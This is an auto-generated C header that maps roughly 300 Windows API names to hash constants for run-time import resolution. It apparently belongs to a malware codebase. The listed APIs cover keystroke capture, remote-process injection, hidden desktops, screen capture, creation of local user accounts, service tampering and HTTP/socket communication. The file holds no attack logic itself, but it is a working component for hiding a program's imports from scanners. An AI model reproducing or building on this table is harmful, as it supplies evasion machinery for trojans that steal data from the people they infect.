#pragma once

// auto generation: tool.exe collectapi

#define hashExitProcess 0x07d96c33
#define hashGetComputerNameA 0x0614e3b1
#define hashGetKeyboardState 0x0951c1b5
#define hashGetCurrentThreadId 0x02d3ab94
#define hashGetKeyboardLayout 0x059e7754
#define hashToAsciiEx 0x0899a6f8
#define hashGetCommandLineA 0x0c348a51
#define hashGetCurrentProcess 0x0b601193
#define hashSleep 0x005a2bc0
#define hashLoadLibraryA 0x0aadf0f1
#define hashLoadLibraryW 0x0aadf0c7
#define hashFreeLibrary 0x02b40339
#define hashGetProcAddress 0x0b3c1d03
#define hashOpenSCManagerA 0x0284af31
#define hashOpenSCManagerW 0x0284af27
#define hashOpenServiceA 0x09fa3a01
#define hashOpenServiceW 0x09fa3a37
#define hashChangeServiceConfig2A 0x05ce83a1
#define hashCloseServiceHandle 0x048eed15
#define hashMoveFileA 0x0c9cb6f1
#define hashRtlAdjustPrivilege 0x049fbb95
#define hashRtlGetNtVersionNumbers 0x04f4c463
#define hashCreateFileMappingA 0x051e7621
#define hashMapViewOfFile 0x09df01b5
#define hashUnmapViewOfFile 0x09df5db5
#define hashCloseHandle 0x09ae7db5
#define hashEnumServicesStatusExA 0x0b0973f1
#define hashGetLastError 0x0e500be2
#define hashSetServiceStatus 0x0366d8c3
#define hashRegisterServiceCtrlHandlerA 0x0a23e7d1
#define hashControlService 0x0f925d25
#define hashStartServiceCtrlDispatcherA 0x05c2ba81
#define hashCreateEventA 0x0d641d21
#define hashWaitForSingleObject 0x0479cab4
#define hashSetEvent 0x0c8ccfc4
#define hashWritePrivateProfileStringA 0x08280e11
#define hashGetModuleHandleA 0x0a3bec91
#define hashGetFileAttributesA 0x09d89af1
#define hashEnumChildWindows 0x0c7ef1b3
#define hashEnumWindows 0x0dc90ac3
#define hashIsWindowEnabled 0x06429484
#define hashGetPrivateProfileStringA 0x07f03bf1
#define hashGetTempPathA 0x008a1001
#define hashGetTempFileNameA 0x0864f3e1
#define hashMoveFileExA 0x0cb6f051
#define hashSetCurrentDirectoryA 0x03791541
#define hashGetVersionExA 0x044de011
#define hashCreateFileA 0x0ad68911
#define hashCreateFileW 0x0ad68927
#define hashWriteFile 0x00a992b5
#define hashRegOpenKeyExA 0x0ba0ba31
#define hashRegSetValueExA 0x0df25081
#define hashRegCloseKey 0x03313a69
#define hashExitWindowsEx 0x08667a08
#define hashGetAdaptersInfo 0x04ed4eaf
#define hashFCICreate 0x0da8f2d5
#define hashFCIFlushCabinet 0x04ab8774
#define hashFCIDestroy 0x0ace20b9
#define hashFCIAddFile 0x07ac69f5
#define hashFDICreate 0x0da8f225
#define hashFDIIsCabinet 0x0dd024b4
#define hashFDICopy 0x0a8da639
#define hashFDIDestroy 0x0ace11b9
#define hashCryptBinaryToStringA 0x0436a391
#define hashCryptStringToBinaryA 0x0c07dcf1
#define hashCryptAcquireContextA 0x089dc521
#define hashCryptImportKey 0x0d6e1d29
#define hashCryptSetKeyParam 0x0b7beb6d
#define hashCryptDestroyKey 0x0c0e47c9
#define hashCryptReleaseContext 0x0cee5ca4
#define hashCryptEncrypt 0x00e0a7e4
#define hashCryptDecrypt 0x0e10a7f4
#define hashOutputDebugStringA 0x077fe8b1
#define hashVirtualAlloc 0x03d8cae3
#define hashDeviceIoControl 0x06bc6fac
#define hashIsWow64Process 0x0f733033
#define hashNtQuerySystemInformation 0x0194625e
#define hashCreateCompatibleDC 0x07b7d7a3
#define hashCreateCompatibleBitmap 0x07b72450
#define hashDeleteObject 0x0ef52704
#define hashGetDC 0x004dc883
#define hashBeginPath 0x0e032018
#define hashPolyDraw 0x063dbdf7
#define hashEndPath 0x0c4968e8
#define hashFlattenPath 0x0b0e4018
#define hashNtQueryIntervalProfile 0x06908fe5
#define hashVirtualFree 0x0b3dd105
#define hashVirtualFreeEx 0x0dd102f8
#define hashDeleteDC 0x0c2cad23
#define hashGetSystemInfo 0x0788542f
#define hashLoadLibraryExA 0x0df0f661
#define hashGetProcessId 0x01403064
#define hashResumeThread 0x0f232744
#define hashTerminateThread 0x03ef9914
#define hashCheckSumMappedFile 0x08f84e55
#define hashReadFile 0x0b78cba5
#define hashGetFileSize 0x006769d5
#define hashDeleteFileA 0x0ad64051
#define hashCopyFileA 0x07dcc8f1
#define hashSetFileAttributesA 0x08989af1
#define hashFindFirstFileA 0x0ac436d1
#define hashFindNextFileA 0x02887611
#define hashFindClose 0x048a7b95
#define hashDestroyWindow 0x0416f447
#define hashDispatchMessageA 0x0a275001
#define hashDispatchMessageW 0x0a275037
#define hashGetMessageA 0x0ce4b4a1
#define hashGetMessageW 0x0ce4b497
#define hashVirtualProtect 0x072d1864
#define hashPeekMessageA 0x09c2bda1
#define hashPeekMessageW 0x09c2bd97
#define hashZwResumeThread 0x06232554
#define hashObtainUserAgentString 0x0f4c3d17
#define hashKiUserApcDispatcher 0x0f01d252
#define hashReadProcessMemory 0x01d72da9
#define hashEnumProcessModules 0x0fc7cad3
#define hashRtlImageNtHeader 0x08d93982
#define hashVirtualQueryEx 0x08272e08
#define hashNtCurrentProcess 0x0b286193
#define hashRtlInitUnicodeString 0x0bf460e7
#define hashNtOpenSection 0x0c2cc43e
#define hashNtMapViewOfSection 0x001f33be
#define hashNtClose 0x058a36c5
#define hashVirtualQuery 0x03c82729
#define hashOpenProcess 0x07e3f093
#define hashOpenEventA 0x02c9e341
#define hashGetWindowLongA 0x0a3d6431
#define hashSetWindowLongA 0x0a3d65f1
#define hashSendNotifyMessageA 0x0f9ae8f1
#define hashNtUnmapViewOfSection 0x0c8338ee
#define hashZwAllocateVirtualMemory 0x010bcf79
#define hashZwWriteVirtualMemory 0x02dc9149
#define hashZwMapViewOfSection 0x035a33be
#define hashZwOpenProcess 0x0653f0f3
#define hashZwClose 0x01ba36f5
#define hashZwQueueApcThread 0x03620f94
#define hashWriteProcessMemory 0x0648b099
#define hashZwSetContextThread 0x09f6bb14
#define hashCreateRemoteThread 0x048b1574
#define hashRtlCreateUserThread 0x06b5ea54
#define hashHeapCreate 0x04ac5325
#define hashHeapDestroy 0x0a840129
#define hashHeapAlloc 0x08487de3
#define hashHeapReAlloc 0x08daab03
#define hashHeapFree 0x0b84dc55
#define hashZwQuerySystemInformation 0x0ed1625e
#define hashZwQueryInformationFile 0x090a3445
#define hashDuplicateHandle 0x0ec99a45
#define hashGetModuleFileNameEx 0x0fa8b218
#define hashCreateThread 0x0e0733d4
#define hashInitializeCriticalSection 0x0a750d8e
#define hashEnterCriticalSection 0x0cb9561e
#define hashLeaveCriticalSection 0x0299a7fe
#define hashGetSystemDirectoryA 0x0c2349b1
#define hashGetModuleFileNameA 0x0dfa8b21
#define hashSHGetFolderPathA 0x00fcb4b1
#define hashPathFindFileNameA 0x0e3685d1
#define hashPathFindExtensionA 0x0179a741
#define hashSHCreateDirectoryExA 0x0071ea41
#define hashSHFileOperationA 0x08a80031
#define hashFlushFileBuffers 0x0074fdc3
#define hashInitializeSecurityDescriptor 0x0a654d62
#define hashSetSecurityDescriptorDacl 0x04a511bc
#define hashCreateNamedPipeA 0x0339f611
#define hashConnectNamedPipe 0x07076255
#define hashDisconnectNamedPipe 0x0c0a6215
#define hashOpenProcessToken 0x09f57ebe
#define hashDuplicateTokenEx 0x09bc9418
#define hashCreateProcessAsUserA 0x096df8c1
#define hashCreateProcessA 0x01e164a1
#define hashGetExitCodeProcess 0x03e34af3
#define hashGetCurrentProcessId 0x00119c94
#define hashGetModuleFileNameExA 0x0a8b2131
#define hashGetWindowThreadProcessId 0x0da16474
#define hashZwQueryInformationThread 0x0b53e274
#define hashCreateToolhelp32Snapshot 0x02aa0484
#define hashProcess32First 0x0f36c6b4
#define hashProcess32Next 0x01f4d004
#define hashFindWindowA 0x0dc9b221
#define hashTerminateProcess 0x0394ba93
#define hashThread32First 0x0c95be84
#define hashOpenThread 0x03aaedb4
#define hashSuspendThread 0x0365e764
#define hashGetThreadContext 0x04b9c7e4
#define hashVirtualAllocEx 0x08cae418
#define hashThread32Next 0x02cac784
#define hashAttachThreadInput 0x0e1e1504
#define hashBlockInput 0x09fcc494
#define hashPostMessageA 0x09dfd4a1
#define hashWaitForInputIdle 0x0f1b4375
#define hashGetTickCount 0x0d26f2a4
#define hashRegCreateKeyExA 0x03b43cd1
#define hashRegQueryValueExA 0x008289d1
#define hashRegDeleteValueA 0x016c4f81
#define hashRegEnumKeyExA 0x0aa71931
#define hashQueryServiceStatusEx 0x088db128
#define hashStartServiceA 0x06346051
#define hashChangeServiceConfigA 0x0c5ce821
#define hashWSAStartup 0x0aad5ca0
#define hashWSACleanup 0x0a2ec290
#define hashgethostbyname 0x0756b2f5
#define hashinet_ntoa 0x0ca62b11
#define hashsocket 0x07a5a1c4
#define hashhtons 0x006fb653
#define hashntohs 0x0075b5f3
#define hashinet_addr 0x0ca50af2
#define hashconnect 0x0a654bc4
#define hashclosesocket 0x0d0fb754
#define hashsend 0x00079c44
#define hashselect 0x079c2ba4
#define hashrecv 0x00078ba6
#define hashbind 0x00069044
#define hashlisten 0x0730aabe
#define hashaccept 0x06799c74
#define hashgethostname 0x06c88ec5
#define hashioctlsocket 0x03f5db74
#define hashinet_addr 0x0ca50af2
#define hashwvsprintfA 0x0789b701
#define hashStrToIntExA 0x03bf3b71
#define hashMultiByteToWideChar 0x0bc08782
#define hashWideCharToMultiByte 0x062c3db5
#define hashGetWindowTextA 0x0a54cf01
#define hashGetClassNameA 0x07cce151
#define hashGetParent 0x0968c794
//GdipGetImageEncodersSize
#define hashGetImageEncodersSize 0x0d6937a5
//GdipGetImageEncoders
#define hashGetImageEncoders 0x01b6ad63
#define hashGdiplusStartup 0x01afa390
#define hashGdiplusShutdown 0x0fb933fe
#define hashGetDesktopWindow 0x0f12be87
#define hashGetWindowDC 0x0008a263
#define hashGetWindowRect 0x08a56ba4
#define hashSelectObject 0x0ec52004
#define hashBitBlt 0x04908934
#define hashReleaseDC 0x02b8c143
#define hashGdipCreateBitmapFromHBITMAP 0x0ef0e870
#define hashCreateStreamOnHGlobal 0x0ffe5e6c
#define hashGdipSaveImageToStream 0x04c590dd
#define hashGdipDisposeImage 0x0d2c49b5
#define hashCreateWellKnownSid 0x0b1a9034
#define hashLookupAccountSidW 0x084c9fd7
#define hashNetUserAdd 0x0c992b34
#define hashNetLocalGroupAddMembers 0x00c331c3
#define hashNetUserDel 0x0c99262c
#define hashwvsprintfW 0x0789b717
#define hashGetLocalTime 0x0dbd3d65
#define hashgetsockname 0x060d8d95
#define hashGetDIBits 0x088ddd73
#define hashGetForegroundWindow 0x0ffff5e7
#define hashCreateServiceA 0x042457a1
#define hashLocalFree 0x09808be5
#define hashLocalAlloc 0x080328c3
#define hashConvertSidToStringSidW 0x0b350bb7
#define hashCreateMutexA 0x0ee41461
#define hashReleaseMutex 0x0c28e148
#define hashDeleteService 0x030b0575
#define hashEnableEUDC 0x092d6df3
#define hashFlushViewOfFile 0x08c74ed5
#define hashSHCreateItemFromParsingName 0x004d1095
#define hashCoInitializeEx 0x04360798
#define hashCoGetObject 0x09133664
#define hashCoCreateInstance 0x0d168ef5
#define hashShellExecuteExA 0x06fa0b91
#define hashCoUninitialize 0x0e3332a5
#define hashWinExec 0x0e02cee3
#define hashInterlockedExchange 0x0b451595
#define hashSetThreadDesktop 0x00350270
#define hashCreateDesktopA 0x043a1b41
#define hashCreateRoundRectRgn 0x068484ee
#define hashVirtualQuery 0x03c82729
#define hashNtAllocateVirtualMemory 0x013f9f79
#define hashNtFreeVirtualMemory 0x0bc01609
#define hashGetComputerNameExA 0x04e3bad1
#define hashGetUserNameA 0x08c8ff01
#define hashWTSEnumerateSessionsA 0x05d113e1
#define hashWTSFreeMemory 0x06adfe79
#define hashWTSQuerySessionInformationA 0x004f39e1
#define hashWTSQueryUserToken 0x07f035ae
#define hashGetTokenInformation 0x00df551e
#define hashLookupAccountSidA 0x084c9fc1
#define hashSetFilePointer 0x0bd35df2
#define hashGetExitCodeThread 0x05eae614
#define hashGetModuleHandleW 0x0a3beca7
#define hashCreateFileMappingW 0x051e7657
#define hashReadDirectoryChangesW 0x03591117
#define hashCreatePipe 0x08aed8d5
#define hashPeekNamedPipe 0x05057455
#define hashVirtualProtectEx 0x0d186fe8
#define hashIsTextUnicode 0x0cc56a65
#define hashRtlCreateUserThread 0x06b5ea54
#define hashRtlEqualString 0x0aa702b7
#define hashRtlInitUnicodeString 0x0bf460e7
#define hashRtlEqualUnicodeString 0x062c0647
#define hashNtQueryInformationProcess 0x0c830cc3
#define hashGetLogicalDriveStringsA 0x05aedbe1
#define hashGetFileTime 0x006768e5
#define hashFileTimeToSystemTime 0x003cb475
#define hashGetLogicalDrives 0x03e22933
#define hashGetDriveTypeA 0x0164bfd1
#define hashGetDiskFreeSpaceExA 0x046996b1
#define hashRtlGetCurrentPeb 0x0588a122
#define hashNtQueryInformationProcess 0x0c830cc3
#define hashDefWindowProcA 0x0d799561
#define hashCreatePopupMenu 0x0c4fd7b5
#define hashInsertMenuItemA 0x0c6949e1
#define hashDestroyMenu 0x0928f2e5
#define hashCallWindowProcA 0x05da5841
#define hashEndMenu 0x0c493c15
#define hashUnhookWindowsHook 0x00b63f8b
#define hashSetWindowLongA 0x0a3d65f1
#define hashCallNextHookEx 0x00e517a8
#define hashRegisterClassA 0x0d822531
#define hashCreateWindowExA 0x0f3c5b41
#define hashSetWindowsHookExA 0x0f515b51
#define hashTrackPopupMenu 0x0fbf4085
#define hash_wcsicmp 0x0daa0020
#define hashGetSystemTime 0x078b20d5
#define hashCryptGenKey 0x089291b9
#define hashCryptExportKey 0x0d6e1999
#define hashGetSystemMetrics 0x08c5f733
#define hashCryptCreateHash 0x08d10a88
#define hashCryptHashData 0x023cd001
#define hashCryptGetHashParam 0x0140a68d
#define hashCryptDestroyHash 0x00e38858
#define hashNtFlushInstructionCache 0x037b5b95
#define hashOpenWindowStationA 0x01a76b51
#define hashGetProcessWindowStation 0x0e581b6e
#define hashSetProcessWindowStation 0x0fac1b6e
#define hashOpenInputDesktop 0x09ca3120
#define hashGetThreadDesktop 0x00364270
#define hashCloseWindowStation 0x03cf713e
#define hashCloseDesktop 0x0e6b44f0
#define hashWNetAddConnection2A 0x0e469221
#define hashWinHttpOpen 0x0beb644e
#define hashWinHttpConnect 0x0a8cf504
#define hashWinHttpOpenRequest 0x067ef924 
#define hashWinHttpQueryOption 0x04df3d7e
#define hashWinHttpSetOption 0x08d917be
#define hashWinHttpAddRequestHeaders 0x0c9be023
#define hashWinHttpSendRequest 0x06711784
#define hashWinHttpReadData 0x09834321
#define hashWinHttpCloseHandle 0x074e5405
#define hashWinHttpQueryHeaders 0x053e9ea3
#define hashWinHttpReceiveResponse 0x0ab93785
#define hashWinHttpQueryDataAvailable 0x070113d5
#define hashWinHttpWriteData 0x0f171611
#define hashWinHttpReadData 0x09834321
